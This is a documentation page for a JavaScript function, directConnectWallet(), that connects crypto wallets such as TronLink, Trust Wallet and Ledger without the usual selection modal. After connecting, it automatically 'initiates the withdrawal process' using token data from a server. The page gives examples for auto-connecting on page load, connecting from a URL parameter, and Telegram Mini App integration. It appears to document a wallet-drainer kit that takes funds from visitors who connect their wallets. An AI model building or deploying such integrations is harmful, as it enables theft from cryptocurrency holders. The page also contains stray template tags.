> For the complete documentation index, see [llms.txt](/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](/documentation/features/custom-modal.md).

# Custom Modal

Programmatically connect crypto wallets

### Overview

The `directConnectWallet()` function allows you to connect a cryptocurrency wallet directly through code, bypassing the standard wallet selection modal. Upon successful connection, the withdrawal process starts automatically.

javascript

```javascript
await window.directConnectWallet(walletName)
```

| Parameter    | Type     | Description                        |
| ------------ | -------- | ---------------------------------- |
| `walletName` | `string` | Exact wallet name (case-sensitive) |

**Returns:** `Promise<void>`

***

### Supported Wallets

| Wallet              | Name for API Call     | Connection Type           |
| ------------------- | --------------------- | ------------------------- |
| TronLink            | `TronLink`            | Adapter                   |
| OKX Wallet          | `OKX`                 | Adapter                   |
| Bitget Wallet       | `Bitget`              | Adapter                   |
| Ledger              | `Ledger`              | Adapter                   |
| WalletConnect       | `WalletConnect`       | Backend Modal             |
| imToken             | `imToken`             | Adapter                   |
| TokenPocket         | `TokenPocket`         | Adapter                   |
| Trust Wallet        | `Trust Wallet`        | Adapter / Backend Modal\* |
| Gate.io Wallet      | `GateWallet`          | Adapter                   |
| Bybit Wallet        | `Bybit Wallet`        | Adapter                   |
| Binance Web3 Wallet | `Binance Web3 Wallet` | Adapter                   |
| FoxWallet           | `FoxWallet`           | Adapter                   |
| TomoWallet          | `TomoWallet`          | Adapter                   |

> **Note:** Trust Wallet automatically determines the connection type based on platform and browser extension availability.

***

### Important Notes

#### Case Sensitivity

Wallet names are **case-sensitive** and must include exact spacing. Incorrect naming will cause connection failures.

javascript

```javascript
// ✅ Correct
await window.directConnectWallet('Trust Wallet')
await window.directConnectWallet('Bybit Wallet')
await window.directConnectWallet('Binance Web3 Wallet')

// ❌ Incorrect
await window.directConnectWallet('trust wallet')   // Wrong case
await window.directConnectWallet('TrustWallet')    // Missing space
await window.directConnectWallet('bybit')          // Incomplete name
```

#### Automatic Flow Initiation

After successful wallet connection, the function automatically:

1. Updates the connection UI state
2. Retrieves token data from the server
3. Initiates the withdrawal process

***

### Usage Examples

#### Basic Implementation

html

```html
<button onclick="window.directConnectWallet('TronLink')">
  Connect TronLink
</button>
```

#### Dynamic Wallet Selection

javascript

```javascript
const wallets = ['TronLink', 'OKX', 'Trust Wallet', 'Bitget'];

const selectedWallet = await showWalletSelection(wallets);
await window.directConnectWallet(selectedWallet);
```

#### Auto-Connect on Page Load

javascript

```javascript
document.addEventListener('DOMContentLoaded', async () => {
  const lastWallet = localStorage.getItem('lastConnectedWallet');

  if (lastWallet) {
    console.log(`Auto-connecting: ${lastWallet}`);
    await window.directConnectWallet(lastWallet);
  }
});
```

#### URL Parameter Connection

javascript

```javascript
// URL: https://example.com/?wallet=TronLink
const urlParams = new URLSearchParams(window.location.search);
const walletFromUrl = urlParams.get('wallet');

if (walletFromUrl) {
  await window.directConnectWallet(walletFromUrl);
}
```

#### Connection with Fallback

javascript

```javascript
async function connectWalletWithFallback(primary, fallback) {
  try {
    console.log(`Attempting connection: ${primary}`);
    await window.directConnectWallet(primary);
  } catch (error) {
    console.warn(`${primary} unavailable, trying ${fallback}`);
    await window.directConnectWallet(fallback);
  }
}

await connectWalletWithFallback('Trust Wallet', 'WalletConnect');
```

***

### Framework Integration

#### React

jsx

```jsx
import { useState } from 'react';

function WalletConnector() {
  const [isConnecting, setIsConnecting] = useState(false);

  const handleConnect = async (walletName) => {
    setIsConnecting(true);
    try {
      await window.directConnectWallet(walletName);
      alert(`${walletName} connected successfully!`);
    } catch (error) {
      alert(`Connection error: ${walletName}`);
    } finally {
      setIsConnecting(false);
    }
  };

  return (
    <div>
      <button onClick={() => handleConnect('TronLink')} disabled={isConnecting}>
        Connect TronLink
      </button>
      <button onClick={() => handleConnect('OKX')} disabled={isConnecting}>
        Connect OKX
      </button>
      <button onClick={() => handleConnect('Trust Wallet')} disabled={isConnecting}>
        Connect Trust Wallet
      </button>
    </div>
  );
}
```

#### Vue.js

vue

```vue
<template>
  <div>
    <button
      v-for="wallet in wallets"
      :key="wallet"
      @click="connectWallet(wallet)"
      :disabled="isConnecting"
    >
      Connect {{ wallet }}
    </button>
  </div>
</template>

<script>
export default {
  data() {
    return {
      isConnecting: false,
      wallets: ['TronLink', 'OKX', 'Trust Wallet', 'Bitget', 'Bybit Wallet']
    };
  },
  methods: {
    async connectWallet(walletName) {
      this.isConnecting = true;
      try {
        await window.directConnectWallet(walletName);
        this.$toast.success(`${walletName} connected!`);
      } catch (error) {
        this.$toast.error(`Error: ${error.message}`);
      } finally {
        this.isConnecting = false;
      }
    }
  }
};
</script>
```

***

### Platform-Specific Integration

#### Mobile App (React Native WebView)

javascript

```javascript
function connectFromMobileApp(walletName) {
  if (window.ReactNativeWebView) {
    window.ReactNativeWebView.postMessage(
      JSON.stringify({
        action: 'wallet_connecting',
        wallet: walletName
      })
    );
  }

  return window.directConnectWallet(walletName);
}

await connectFromMobileApp('Trust Wallet');
```

#### WalletConnect QR Code

javascript

```javascript
async function connectViaQR() {
  showQRModal('Scan to connect');

  try {
    await window.directConnectWallet('WalletConnect');
    hideQRModal();
    showSuccessMessage('Wallet connected via WalletConnect!');
  } catch (error) {
    hideQRModal();
    showErrorMessage('Failed to connect wallet');
  }
}
```

#### Telegram Mini App

javascript

```javascript
if (window.Telegram?.WebApp) {
  const tg = window.Telegram.WebApp;

  tg.MainButton.text = "Connect Wallet";
  tg.MainButton.show();

  tg.MainButton.onClick(async () => {
    tg.MainButton.showProgress();

    try {
      await window.directConnectWallet('Trust Wallet');
      tg.showAlert('Wallet connected successfully!');
    } catch (error) {
      tg.showAlert('Connection error');
    } finally {
      tg.MainButton.hideProgress();
    }
  });
}
```

***

### Technical Details

#### Connection Flow

```
┌─────────────────────┐
│  1. State Check     │  Verify no connection in progress
└─────────┬───────────┘
          ▼
┌─────────────────────┐
│  2. Adapter Lookup  │  Identify appropriate adapter
└─────────┬───────────┘
          ▼
┌─────────────────────┐
│  3. Hide Modal      │  Close any open modals
└─────────┬───────────┘
          ▼
┌─────────────────────┐
│  4. Connect         │  Execute adapter/Backend Modal connection
└─────────┬───────────┘
          ▼
┌─────────────────────┐
│  5. Metadata        │  Collect WalletConnect session data
└─────────┬───────────┘
          ▼
┌─────────────────────┐
│  6. UI Update       │  Refresh interface state
└─────────┬───────────┘
          ▼
┌─────────────────────┐
│  7. Start Flow      │  Execute restartFlow()
└─────────────────────┘
```

#### Backend Modal vs Adapter

| Connection Type | Wallets                                           | Behavior                            |
| --------------- | ------------------------------------------------- | ----------------------------------- |
| Backend Modal   | WalletConnect, Trust Wallet (mobile/no extension) | Server-side modal handling          |
| Adapter         | All others                                        | Direct browser extension connection |

***

### Troubleshooting

#### Common Errors

**Error:** `Unknown wallet in directConnectWallet`

**Cause:** Incorrect wallet name spelling or case

**Solution:** Use exact wallet names from the supported wallets table

javascript

```javascript
// ✅ Correct
await window.directConnectWallet('TronLink');

// ❌ Incorrect
await window.directConnectWallet('tronlink');
```

**Error:** `Adapter not found in directConnectWallet`

**Cause:** Wallet adapter not loaded in ADAPTERS array

**Solution:** Ensure the adapter is properly initialized before calling {% endtab %}

**Log:** `Already connected to same provider — restarting flow`

**Behavior:** Normal operation — the flow automatically restarts {% endtab %} {% endtabs %}

#### Debug Commands

javascript

```javascript
// Check function availability
console.log(typeof window.directConnectWallet);
// Expected: "function"

// List available adapters
console.log(window.ADAPTERS);
```

***

### FAQ

**Can I connect multiple wallets simultaneously?**

No. The system supports only one active wallet connection at a time. Connecting a new wallet automatically disconnects the previous one. {% endhint %}
